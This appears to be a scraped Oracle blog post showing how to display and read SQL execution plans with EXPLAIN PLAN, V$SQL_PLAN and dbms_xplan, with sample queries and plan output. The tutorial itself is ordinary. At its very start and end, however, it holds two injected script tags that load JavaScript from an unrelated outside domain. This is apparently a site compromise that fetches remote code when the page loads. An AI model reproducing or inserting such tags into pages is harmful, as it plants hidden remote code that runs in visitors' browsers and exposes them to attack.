Displaying and reading the execution plans for a SQL statement

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script> Generating and displaying the execution plan of a SQL statement is a common task when trying to understand a change in the performance characteristics of the SQL statement.
The execution plan shows the detailed steps for executing a SQL statement expressed as a set of database operators that consumes and produces rows. It shows the order of the operators and their implementation. While the display is commonly shown in a tabular format, the plan is in fact tree-shaped. A database operator can be implemented using one of many options depending on the characteristics of its input data.
The order of the operators and their implementation is decided by the query optimizer using a combination of query transformation and physical optimization techniques.
For example, consider the following query based on the SH schema (Sales History):

select prod_category, avg(amount_sold)

from sales s, products p

where p.prod_id = s.prod_id

group by prod_category

The tabular representation of the plan is:

------------------------------------------

| Id  | Operation             | Name     |

------------------------------------------

|   0 | SELECT STATEMENT      |          |

|   1 |  HASH GROUP BY        |          |

|   2 |   HASH JOIN           |          |

|   3 |    TABLE ACCESS FULL  | PRODUCTS |

|   4 |    PARTITION RANGE ALL|          |

|   5 |     TABLE ACCESS FULL | SALES    |

------------------------------------------

The tree-shaped representation of the plan is:

   GROUP BY

       |

     JOIN

  _____|_____

  |         |

ACCESS    ACCESS

(PRODUCTS) (SALES)

The implementation of the group-by uses hash (the other alternative is sort), the join implementation uses hash-join (other alternatives are nested-loops and sort-merge), while the data accesses uses a full table scan. The group-by operator consumes rows produced by the join operator which in turn consumes rows produced by the access operators. The access operators are also referred to as leaves or terminal nodes.

The execution plan generated for a SQL statement is one of the many alternative execution plans considered by the query optimizer. The query optimizer selects the execution plan with the lowest cost. Cost is a proxy for performance, the lower is the cost the better is the performance. The cost model used by the query optimizer accounts for the IO, CPU, and network usage in the query.

There are two different methods to look at the execution plan of a SQL statement:

1. EXPLAIN PLAN command
2. V$SQL_PLAN

The first method is used to display an execution without actually executing it. The second method has been introduced in Oracle 9i. It shows the execution plan for a SQL statement that has been compiled into a cursor in the cursor cache. Under certain conditions the plan shown when using EXPLAIN PLAN can be different from the plan shown using V$SQL_PLAN. For example, when the SQL statement contains bind variables the plan shown from using EXPLAIN PLAN ignores the bind variable values while the plan shown in V$SQL_PLAN takes the bind variable values into account in the plan generation process.

Displaying an execution plan has been made easier after the introduction of the dbms_xplan package. This packages provides several PL/SQL procedures to display the plan from different sources:

1. EXPLAIN PLAN command
2. V$SQL_PLAN
3. Automatic Workload Repository (AWR)
4. SQL Tuning Set (STS)
5. SQL Plan Baseline (SPM)
   

The following illustrates how to generate and display an execution plan for the above SQL statement using EXPLAIN PLAN

EXPLAIN PLAN FOR

select prod_category, avg(amount_sold)

from sales s, products p

where p.prod_id = s.prod_id

group by prod_category



select plan_table_output

from table(dbms_xplan.display('plan_table',null,'basic'))

The arguments are: plan table name (default 'PLAN_TABLE'), statement_id (default null), and format (default 'TYPICAL'). More details can be found in $ORACLE_HOME/rdbms/admin/dbmsxpln.sql.

the following illustrates how to generate and display an execution plan for the same statement from V$SQL_PLAN:

select prod_category, avg(amount_sold)

from sales s, products p

where p.prod_id = s.prod_id

group by prod_category



select plan_table_output

from table(dbms_xplan.display_cursor(null,null,'basic'));

The arguments are: SQL ID (default null), child number (default 0), and format (default 'TYPICAL'). The details are in $ORACLE_HOME/rdbms/admin/dbmsxpln.sql.
The above example will display the plan for the last executed statement in the session (because the SQL ID is null).
To display the execution plan for any other statement, the SQL ID needs to be provided, either directly or indirectly:

1. Directly:

   
   
   select plan_table_output from
   
   table(dbms_xplan.display_cursor('fnrtqw9c233tt',null,'basic'))
   

   
   
   
2. Indirectly:
   

   select plan_table_output
   
   from v$sql s,
   
      table(dbms_xplan.display_cursor(s.sql_id,
   
                                      s.child_number, 'basic')) t
   
   where s.sql_text like 'select PROD_CATEGORY%'
   

The following illustrates how to display an execution plan corresponding to a SQL Plan Baseline for the same SQL statement. SQL Plan Baselines have been introduced in Oracle 11g to support the SQL Plan Management feature (SPM). In order to illustrate such as case we need to create a SQL Plan Baseline first.

alter session set optimizer_capture_sql_plan_baselines=true;

select prod_category, avg(amount_sold)
from sales s, products p
where p.prod_id = s.prod_id
group by prod_category

At this point we have a SQL Plan Baseline for the above statement and can be verified as follows:

select SQL_HANDLE, PLAN_NAME, ACCEPTED

from dba_sql_plan_baselines

where sql_text like 'select prod_category%';



SQL_HANDLE                     PLAN_NAME                      ACC

------------------------------ ------------------------------ ---

SYS_SQL_1899bb9331ed7772       SYS_SQL_PLAN_31ed7772f2c7a4c2  YES

The execution plan for the SQL Plan Baseline created above can be displayed either directly or indirectly:

1. Directly
   

   select t.* from
   
   table(dbms_xplan.display_sql_plan_baseline('SYS_SQL_1899bb9331ed7772',
   
                                              format => 'basic')) t
   

   
   
   
2. Indirectly
   

   select t.*
   
       from (select distinct sql_handle
   
             from dba_sql_plan_baselines
   
             where sql_text like 'select prod_category%') pb,
   
            table(dbms_xplan.display_sql_plan_baseline(pb.sql_handle,
   
                                                       null,'basic')) t
   

   
   

The output of either of these two statements is:

----------------------------------------------------------------------------

SQL handle: SYS_SQL_1899bb9331ed7772

SQL text: select prod_category, avg(amount_sold) from sales s, products p

          where p.prod_id = s.prod_id group by prod_category

----------------------------------------------------------------------------



----------------------------------------------------------------------------

Plan name: SYS_SQL_PLAN_31ed7772f2c7a4c2

Enabled: YES     Fixed: NO      Accepted: YES     Origin: AUTO-CAPTURE

----------------------------------------------------------------------------



Plan hash value: 4073170114



---------------------------------------------------------

| Id  | Operation                | Name                 |

---------------------------------------------------------

|   0 | SELECT STATEMENT         |                      |

|   1 |  HASH GROUP BY           |                      |

|   2 |   HASH JOIN              |                      |

|   3 |    VIEW                  | index$_join$_002     |

|   4 |     HASH JOIN            |                      |

|   5 |      INDEX FAST FULL SCAN| PRODUCTS_PK          |

|   6 |      INDEX FAST FULL SCAN| PRODUCTS_PROD_CAT_IX |

|   7 |    PARTITION RANGE ALL   |                      |

|   8 |     TABLE ACCESS FULL    | SALES                |

---------------------------------------------------------

The format argument is highly customizable allowing coarse as well as fine specification of what details are needed in the plan output.
The high-level (coarse) options are:

1. Basic
   The plan includes the operation, options, and the object name (table, index, MV, etc)
   
2. Typical
   It includes the information shown in BASIC plus additional optimizer-related internal information such as cost, size, cardinality, etc. These information are shown for every operation in the plan and represents what the optimizer thinks is the operation cost, then number of rows produced, etc. It also shows the predicates evaluation by the operation. There are two types of predicates: ACCESS and FILTER. The ACCESS predicates for an index are used to fetch the relevant blocks because they apply to the search columns. The FILTER predicates are evaluated after the blocks have been fetched.
   
3. All
   It includes the information shown in TYPICAL plus the lists of expressions (columns) produced by every operation, the hint alias and query block names where the operation belongs. The last two information can be used as arguments to add hints to the statement.
   

The low-level options allow the inclusion or exclusion of find details, such as predicates and cost.
For example,

select plan_table_output

from table(dbms_xplan.display('plan_table',null,'basic +predicate +cost'))



-------------------------------------------------------

| Id  | Operation             | Name     | Cost (%CPU)|

-------------------------------------------------------

|   0 | SELECT STATEMENT      |          |    17  (18)|

|   1 |  HASH GROUP BY        |          |    17  (18)|

|*  2 |   HASH JOIN           |          |    15   (7)|

|   3 |    TABLE ACCESS FULL  | PRODUCTS |     9   (0)|

|   4 |    PARTITION RANGE ALL|          |     5   (0)|

|   5 |     TABLE ACCESS FULL | SALES    |     5   (0)|

-------------------------------------------------------



Predicate Information (identified by operation id):

---------------------------------------------------

2 - access("P"."PROD_ID"="S"."PROD_ID")

select plan_table_output from

table(dbms_xplan.display('plan_table',null,'typical -cost -bytes'))



----------------------------------------------------------------------------

| Id  | Operation             | Name     | Rows | Time     | Pstart| Pstop |

----------------------------------------------------------------------------

|   0 | SELECT STATEMENT      |          |    4 | 00:00:01 |       |       |

|   1 |  HASH GROUP BY        |          |    4 | 00:00:01 |       |       |

|*  2 |   HASH JOIN           |          |  960 | 00:00:01 |       |       |

|   3 |    TABLE ACCESS FULL  | PRODUCTS |  766 | 00:00:01 |       |       |

|   4 |    PARTITION RANGE ALL|          |  960 | 00:00:01 |     1 |    16 |

|   5 |     TABLE ACCESS FULL | SALES    |  960 | 00:00:01 |     1 |    16 |

----------------------------------------------------------------------------



Predicate Information (identified by operation id):

---------------------------------------------------

2 - access("P"."PROD_ID"="S"."PROD_ID")

In addition to the plan, the package displays notes in the NOTE section, such as that dynamic sampling was used during query optimization or that star transformation was applied to the query.
For example, if the table SALES did not have statistics then the optimizer will use dynamic sampling and the plan display will report it as follows (see '+note' detail in the query):

select plan_table_output

from table(dbms_xplan.display('plan_table',null,'basic +note'))



------------------------------------------

| Id  | Operation             | Name     |

------------------------------------------

|   0 | SELECT STATEMENT      |          |

|   1 |  HASH GROUP BY        |          |

|   2 |   HASH JOIN           |          |

|   3 |    TABLE ACCESS FULL  | PRODUCTS |

|   4 |    PARTITION RANGE ALL|          |

|   5 |     TABLE ACCESS FULL | SALES    |

------------------------------------------



Note

-----

- dynamic sampling used for this statement

Bind peeking

The query optimizer takes into account the values of bind variable values when generation an execution plan. It does what is generally called bind peeking. See the first post in this blog about the concept of bind peeking and its impact on the plans and the performance of SQL statements.
As stated earlier the plan shown in V$SQL_PLAN takes into account the values of bind variables while the one shown from using EXPLAIN PLAN does not. Starting with 10gR2, the dbms_xplan package allows the display of the bind variable values used to generate a particular cursor/plan. This is done by adding '+peeked_binds' to the format argument when using display_cursor().
This is illustrated with the following example:

variable pcat varchar2(50)

exec :pcat := 'Women'



select PROD_CATEGORY, avg(amount_sold)

from sales s, products p

where p.PROD_ID = s.PROD_ID

and prod_category != :pcat

group by PROD_CATEGORY



select plan_table_output

from table(dbms_xplan.display_cursor(null,null,'basic +PEEKED_BINDS'))



------------------------------------------

| Id  | Operation             | Name     |

------------------------------------------

|   0 | SELECT STATEMENT      |          |

|   1 |  HASH GROUP BY        |          |

|   2 |   HASH JOIN           |          |

|   3 |    TABLE ACCESS FULL  | PRODUCTS |

|   4 |    PARTITION RANGE ALL|          |

|   5 |     TABLE ACCESS FULL | SALES    |

------------------------------------------



Peeked Binds (identified by position):

--------------------------------------



1 - :PCAT (VARCHAR2(30), CSID=2): 'Women'

<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>